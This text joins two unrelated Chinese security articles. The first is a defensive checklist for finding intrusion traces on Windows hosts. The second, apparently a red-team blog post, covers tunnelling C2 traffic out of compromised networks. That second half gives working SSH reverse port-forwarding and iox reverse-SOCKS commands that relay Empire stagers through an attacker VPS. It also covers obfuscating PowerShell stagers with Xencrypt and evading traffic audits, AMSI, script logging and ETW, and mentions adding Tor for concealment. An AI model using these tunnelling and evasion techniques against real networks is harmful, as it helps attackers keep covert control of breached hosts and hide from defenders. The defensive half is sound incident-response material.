Windows主机入侵痕迹排查办法

一、排查思路

在攻防演练保障期间,一线工程师在实施主机入侵痕迹排查服务时可能面临时间紧、任务急、需要排查的主机数量众多情况。为了确保实施人员在有限的时间范围内,可以高效且保证质量的前提下完成主机入侵痕迹排查工作,本人总结了自己的一些经验,下面的内容特此分享主机入侵痕迹排查服务中重点、关键的排查项,仅作为参考使用。

1.1初步筛选排查资产

一般情况下,客户资产都比较多,想要对所有的资产主机进行入侵痕迹排查基本不太现实,等你全部都排查完了,攻击者该做的事早就做完了,想要的目的也早就达到了。那么针对客户资产量大的情况,我们应该怎么处理?首先,在排查前,作为项目经理,应该与客户沟通好,取得授权,确认排查范围和排查方案和办法,客户若是没有授意或者同意,那么下面的操作都是违规操作,甚至有的还违法。取得客户同意后,我们再从资产面临的风险等级、资产的重要程度、攻击者的攻击思路、手法及目标选择倾向几个方面去初步筛选出排查资产。这里建议从以下资产范围选取:①曾失陷资产:在以前的红蓝对抗、攻防演练、或者真实的黑客攻击事件中被攻陷的主机,曾失陷资产应作为排查的重点对象。②互联网暴露脆弱资产:从互联网暴露资产中筛选出使用了高危漏洞频发的组件/应用(组件如Weblogic、JBoss、Fastjson、Shiro、Struts2等)。还有一个点需要注意,就是客户是否具有有效的资产管理,是否能够清晰明确识别出哪些资产用了什么组件,如果不能的话,只能通过之前的渗透测试结果来筛选出脆弱资产。③关键资产:如域控等可以导致大量主机失陷的集权类资产。

1.2确定排查资产

主机入侵痕迹排查工作建议在一周内对数量控制在20台以内的主机进行排查。经过初步筛选的资产数量如果远远大于20台主机,需要从资产里面进行二次筛选,如果存在曾失陷资产,排查主机范围可以定为曾失陷资产;如果不存在曾失陷资产,排查主机范围可以定为脆弱资产,具体可以根据客户自身实际情况调整。需要注意是,如果排查资产中包含曾失陷资产的话,需要向客户索要历史攻防演练/应急等报告,在排查时需结合历史报告和指导手册内容一起进行排查,需要特别留意历史报告中攻击者的入侵痕迹是否已经完全清理。

1.3入侵痕迹排查

在实际情况下,攻击者在进行攻击时使用的攻击手法、攻击思路、行为等各有差异,无论是考虑实现成本还是效率问题,都难以通过很精细很全面的排查项去实施主机入侵痕迹排查,但是我们可以从攻击中可能会产生的一些比较共性的行为特征、关键的项进行排查。对于主机的入侵痕迹排查,主要从网络连接、进程信息、后门账号、计划任务、登录日志、自启动项、文件等方面进行排查。比如,如果存在存活后门,主机可能会向C2发起网络连接,因此可以从网络连接排查入手,如果存在异常的网络连接,则必然说明存在恶意的进程正在运行,则可以通过网络连接定位到对应进程,再根据进程定位到恶意文件。如果攻击者企图维持主机控制权限的话,则可能会通过添加后门账号、修改自启动项,或者添加计划任务等方式来维持权限,对应的我们可以通过排查账号、自启动项、计划任务来发现相应的入侵痕迹。

二、排查内容

2.1windows主机

攻击者一般使用 attrib <程序> +s +h 命令隐藏恶意程序,故在排查痕迹前需打开“工具—文件夹选项—查看”。按照下图中的设置,即可显示所有文件。2.1.1网络连接排查步骤:在CMD中执行 netstat -ano 查看目前的网络连接。这种情况一般都比较正常,只有80和443端口,一般都是正常业务开放端口。分析方法:如果网络连接出现以下情况,则当前主机可能已经失陷:1、主机存在对内网网段大量主机的某些端口(常见如22,445,3389,6379等端口)或者全端口发起网络连接尝试,这种情况一般是当前主机被攻击者当作跳板机对内网实施端口扫描或者口令暴力破解等攻击。2、主机和外网IP已经建立连接(ESTABLISHED状态)或者尝试建立连接(SYN_SENT状态),可以先查询IP所属地,如果IP为国外IP或者归属各种云厂商,则需要重点关注。进一步可以通过威胁情报(等)查询IP是否已经被标注为恶意IP。3、如果无法直接从网络连接情况判断是否为异常连接,可以根据网络连接找到对应的进程ID,判断进程是否异常。如果不能从进程判断,可以进一步找到进程对应文件,将对应文件上传至virustotal()进行检测。如上面截图中对内网扫描的进程ID是2144,在任务管理器中发现对应的文件是svchost.exe。上传至virustotal检测的结果为恶意文件。若在排查网络连接中,任务管理器只能看到有命令行工具(如powershell、cmd)powershell进程与外联IP建立会话,无法看到进程对应的运行参数。此时可借助Process Explorer进一步观察powershell的运行参数。如下在Process Explorer中发现powershell执行了cobalt strike脚本的痕迹。2.1.2敏感目录排查步骤:查看攻击方常喜欢上传的目录是否有可疑文件。分析方法:1、各个盘符下的临时目录,如C:\TEMP、C:\Windows\Temp等。2、%APPDATA%,在文件夹窗口地址栏输入%APPDATA%,回车即可打开当前用户的appdata目录。如Administrator用户对应的%APPDATA%目录C:\Users\Administrator\AppData\Roaming。可以按照修改日期排序筛选出比较临近时间有变更的文件。3、浏览器的下载目录4、用户最近文件%UserProfile%\Recent,如Administrator对应的目录为C:\Users\Administrator\Recent5、回收站,如C盘下回收站C:$Recycle.Bin对于脚本文件可直接查看内容判定是否为恶意,若是遇到exe可执行文件,可将对应文件上传至virustotal()进行检测。2.1.3后门文件排查步骤:查看粘滞键exe;查看注册表中映像的键值。分析方法:1、查看粘滞键exe查看C:\Windows\System32\下的sethc.exe文件的创建、修改时间是否正常,如下图,一般情况下,系统文件的创建时间与修改时间应相同,sethc的创建时间与修改时间不同,可确定sethc已被替换成后门文件。由于攻击者可修改文件时间,上述简单粗暴的判断方式可能不靠谱,可将sethc拷贝出来、上传至VT检测危害。2、查看注册表中映像的键值检查注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”下所有exe项中是否有debugger键,若有debugger键,将其键值对应的程序上传至VT检测。如下图,攻击者利用该映像劫持的攻击者方式,在sethc.exe项中新建debugger键值指向artifact.exe,攻击效果为当连续按5下shift键后,不会执行sethc.exe,而是转而执行劫持后的artifact.exe文件。于是在排查中发现有debugger键值,均可认为指定的文件为后门文件,待上传VT后确认其危害。这里没有debugger键,下面的图是有的:2.1.4后门账号排查步骤:打开regedit查看注册表中的账号;查看administrators组中是否存在赋权异常的账号。分析方法:查看注册表中HKLM\SAM\SAM\Domains\Account\Users\Names中是否有多余的账号(可询问客户运维人员以确定账号存在的必要性)。正常情况下,上述路径的SAM权限仅system用户可查看,需要给administrator用户授权才能打开完整路径。对SAM右键、给administator用户添加完全控制权限(下图的权限操作方法适用于win7及以上操作系统):win2003、XP等低版本系统的操作方法请使用下图的流程给administrators组添加权限。带有$符号的账号特指隐藏账号(如aaaa$),正常业务中不需要创建隐藏账号,可判断带有$符号的均为后门账号。然后在客户运维的协助下排查其他的异常账号。如下图中,除了aaaa$可直接判断外,root账号为高度关注对象。(注:aaaa$中的键值0x3ea表示该账号与Users表中相应数值的表相对应,在删除账号时需一起删除)注:异常账号删除后需要将之前授权的administrator移除SAM权限。查看administrators组中是否存在赋权异常的账号。比如正常情况下guest用户处于禁用状态、普通应用账户(weblogic、apache、mysql)不需要在administrators组中。如下图,执行命令net user guest查看guest账号的信息,如果guest账号被启用,且在管理员组成员中有guest用户,需要询问客户运维人员该guest账户启用的必要性以及加入管理组是否有必要,否则可认为攻击者将系统自带用户guest启用并提权至管理员组后作为后门账号使用。执行net localgroup Administrators关注管理员组别是否存在异常账号:2.1.5自启动项排查步骤:使用Autoruns工具查看自启动项查看组策略中的脚本查看注册表中的脚本、程序等查看各账号自启目录下的脚本、程序等查看Windows服务中的可执行文件路径分析方法:1、使用Autoruns:使用工具能较全面地查看系统中的自启动项。在得到客户授权,能够在可能失陷的主机上传排查工具时,可使用Autoruns工具进行详细的自启动项排查。排查中主要关注粉色条目,建议与客户运维人员一同查看,以及时排除业务所需的正常自启项。如下图,在Everything栏中,查看粉色的条目中发现常见的sethc被劫持为cmd,Command Processor键值(默认为空)关联到名为windowsupdate.exe(效果为启动cmd时,被关联的程序会静默运行)。sethc的劫持可确认为入侵痕迹,Command Processor键值的关联程序需要找客户进一步确认是否业务所需,或将windowsupdate.exe上传VT检测。另外,这个工具很好用 ,特别小,可以直接上传文件到VT进行检测。2、查看组策略:在无法使用工具、只能手工排查的情况下,可查看常见的自启项是否有异常文件。打开gpedit.msc—计算机配置/用户配置—Windows设置—脚本,在此处可设置服务器启动/关机或者用户登录/注销时执行的脚本。下图1、2两处的脚本均需要查看是否添加有脚本。我这里没有脚本。2.1.6日志工程师基本都会看日志,windows日志也就那些内容,比较简单,我就不细述,主要写一下几个比较重要的点,基本上就可以排查出是否有异常登录了。排查步骤:查看登录日志中暴力破解痕迹;查看账号管理日志中账号的新增、修改痕迹;查看远程桌面登录日志中的登录痕迹。

三、总结一下

技能都是需要动手的,然后思路需要清晰,操作要细致,跟客户要保持沟通,切记不能闷着擅自操作!作者:白衣不再少年,文章来源:FreeBuf

0x00 前言

流量转发,可以说时内网渗透的基础,网上的文章也挺多的,但是我最近看见别人的粗糙的方式,比如把CS直接传到服务器上这样的操作,我觉得是应该总结一下各种流量转发的场景了,方便渗透中使用。

0x01 本文用到的工具

- Empire https://github.com/EmpireProject/Empire (C2)- Xencrypt.ps1 https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1 (powershell encrypt)- IOX https://github.com/EddieIvan01/iox- Neo-regeorg https://github.com/L-codes/Neo-reGeorg- PlinkC:Program Files (x86)GitExtensionsPuTTYplink.exe

0x02 复杂度0

1.例如反弹shell需要反弹到自己VPS上,那这里我们需要把CS或者empire等C2工具传到VPS上吗?

不需要,按照隐藏自己的原则,VPS上基本不能有渗透的任何文件,以免留下痕迹,命令其实也很简单,在win10以及linux上都有ssh命令了,所以:

ssh-CNfT -R 4444:192.168.137.129:443 root@vpsip

注:vpsip 需要配置远程端口转发支持,修改/ect/ssh/sshd_config添加:

AllowAgentForwarding yesAllowTcpForwarding yesGatewayPorts yes

实际演示

被控端:192.168.137.164 (nat)

kali: 192.168.0.105 (bridge)

这两台机器本身互不相同,但是都能出网,所以使用VPS来中转。

这里使用Empire作为C2,使用https监听,这里的HOST要设置为VPSIP和端口

接着ssh端口转发:

生成一个stager,这里生成的时候IP就是VPSIP,端口就是4444,这样会直接将流量转到虚拟机的Empire的443端口来。生成powershell 的stager,先解码出来再用xencrypt加密运行。

Invoke-Xencrypt -InFile xx.ps1 -OutFile banana.ps1 -Iterations 3

这样只要受控端可以直接出网的情况的话,就可以这样利用。而且vps到内网机器的流量都是加密的。empire其实自带一个http_hop listener,把生成的文件传到A VPS上面,再使用http_hop再生成stager来请求A VPS,流量就会被转移到真实的B VPS上。具体可以参考:https://www.hackingarticles.in/hiding-ip-during-pentest-using-powershell-empire-http_hop/

0x03 复杂度1

其实为了自己更安全,C2最好放在自己虚拟机自定义的一个不能出网的网段,然后远程端口转发到自己C2监听的端口。命令与其实上面一样:plink -CNfT -R 4444:192.168.13.29:443 root@vpsip只不过要在windows的物理机上执行,因为只有windows物理机能够出网而且又能访问到特定网段。这里就不具体说明了,因为我们主要关注被控端能够访问到我们的VPS端口,所以自己要跳几条VPS,系统环境等随便怎么设置都可以。

场景:拿到webshell,发现是内网一台windows不能出网。这就需要找到一台能够出网的了。

先使用regeorg进行正向代理,寻找到出网机器。这里依然可以使用ssh远程转发,在跳板机上面执行。但是我们这使用IOX来演示,适合自己VPS是windows或者突然忘了自己vps密码的人:)

实际演示

测试环境:

debian:192.168.217.92/192.168.137.139 双网卡

win10:192.168.217.128

vps:就用上面的4444端口

1.把iox linux 64bit传到debian这个跳板机上执行:

./iox fwd -l 4444 -r vpsip:4444

2.重新生成stager,上传到win10上,因为win10只能访问到192.168.217.139,所以配置host参数为:4444, 这里我们在1中已经监听了4444端口流量并且转发到了VPS上。

这里的listener必须配置为http,我自己测试发现https的上线不了,https直接网页会报SSL错,但是还是能够访问的,说明流量转发正确。猜测可能是IOX转发https流量不行。

演示图中使用的是http的listener:

整个流程:

内网不能出网的windows10,通过debian把流量转发到vps端口,vps再转到自己的虚拟机的C2中。

配置stager时可以配置http代理,

再渗透中,很多都是通过代理出网的,找到代理服务器IP和端口,设置http/https代理,生成stager的时候host就设置为vps 就可以了,不用设置为内网的机器。

 

复杂度1.1

实际演示

环境1:

有VPN账号,但是在里面就是找不到代理或者可控的出网机器。

1.在自己VPN拨号的虚拟机中,执行ssh -CNfT -L 4444:vpsip:4444 root@vpsip或者./iox fwd -l 4444 -r vpsip:4444,将发往自己4444端口流量转发到192.168.137.129:443 C2控制端。

2.在被控端windows上的webshell执行payload,指定host为我们VPN拨号后分配的地址。

环境2:

无VPN账号,有regeorg 的正向代理和webshell权限。

那就正向代理:)

环境3:

内网机器可以出网,但是没有公网IP,不使用regeorg 的正向代理。

./iox proxy -r vps:9999(webshell上执行 socks反弹)./iox proxy -l 9999 -l 1080 (vps上执行)

这样只有把代理设置为vps:1080,就是内网正向的socks代理了。

./iox fwd -l 1088 -r vpsip:1080

如果运行上面这条命令在自己虚拟机上,这样本地设置127.0.0.1:1088这个代理一样可以代理访问到内网。

带加密的话IOX也非常简单,这里使用虚拟机来演示下:

./iox proxy -r *vps:9999 -k (webshell上执行)./iox proxy -l *9999 -l *1080 -k (vps上执行)./iox fwd -l 1088 -r *vpsip:1080 -k (自己的机器)

可以看见kali是不能访问到那边的,但是我通过这样正向socks代理就可以了。

总结

    本来开始准备用SILENTTRINITY作为C2的,生成c# stager,然后使用detout来编码生成shellcode。detout生成的shellcode有patch amsi和script logging,dev的分支也加上了bypass etw monitor.但是ST这个框架还是不稳定,而且功能欠缺多,但是这种技术思路很好。detout+C#的马还是很好用的。

    内网渗透中,环境会更复杂,我这里完全是抛砖引玉,一个基本思路,清楚的知道自己的流量走向,不管怎么复杂都一样。文中提到的技术,都跟自己VPS和自己的网络情况有很大关系,网速不好,体验就不好。这些工具都带有加密的功能,这样会在流量审计上更好过一点,不会上传C2到别人服务器上面,在其中某个点加个tor网络就更能隐藏自己了。

一如既往的学习,一如既往的整理,一如即往的分享。感谢支持

“如侵权请私聊删文”

扫描关注LemonSec

觉得不错点个“赞”、“在看”哦